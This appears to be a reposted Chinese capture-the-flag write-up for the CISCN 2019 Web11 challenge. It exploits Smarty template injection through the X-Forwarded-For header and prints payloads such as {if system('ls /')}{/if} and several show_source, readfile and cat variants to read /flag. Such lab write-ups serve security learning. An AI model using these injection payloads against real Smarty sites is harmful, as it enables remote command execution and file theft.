[CISCN 2019华东南]Web11
2023-12-31 17:29:36
[CISCN 2019华东南]Web11 wp
信息搜集
页面内容如下:
右上角显示的是我的当前 IP 。
在最下角提示:Build With Smarty !
Smarty 是 PHP 的一个模板引擎,那么这道题应该是 Smarty 模板注入。
Smarty 模板注入
可以参考博客:Smarty模板注入&CVE-2017-1000480
左上角既然能提取我的 IP ,那么根据页面内容稍微猜一下,应该是从 XFF 头提取 IP ,假设没有设置 XFF 头,提取的就是真实 IP 。
发个包测试一下:
说明这里确实会读取 XFF 头。
既然已经知道是 Smarty 模板引擎,那么就直接测试:
a{*comment*}b
返回结果是 ab ,测试成功。
查看 Smarty 版本:
{$smarty.version}
当前版本号为 3.1.30 。
if 语句执行 PHP 代码:
这个版本许多方法不可行,因此直接用 if 语句执行 PHP 代码:
{if phpinfo()}{/if}
值得注意的是 if 里面不用带分号。
这样的话就直接查看根目录下的文件:
{if system('ls /')}{/if}
在根目录下找到了 flag 文件。
查看 flag :
{if system('cat /flag')}{/if}
不回显,flag 看不了。
可能是过滤了 flag ,但是尝试了 {if system('cat /fl\ag')}{/if}
也不行
也可能是其他的原因,尝试了以下方法:
{if readfile ('/flag')}{/if}
{if show_source('/flag')}{/if}
{if system('cat /flag')}{/if}
{if file_get_contents('/flag')}{/if}
最后是:{if show_source('/flag')}{/if}
成功回显了:
拿到 flag 。
文章来源:https://blog.csdn.net/m0_73612768/article/details/135317107
本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。 如若内容造成侵权/违法违规/事实不符,请联系我的编程经验分享网邮箱:veading@qq.com进行投诉反馈,一经查实,立即删除!
本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。 如若内容造成侵权/违法违规/事实不符,请联系我的编程经验分享网邮箱:veading@qq.com进行投诉反馈,一经查实,立即删除!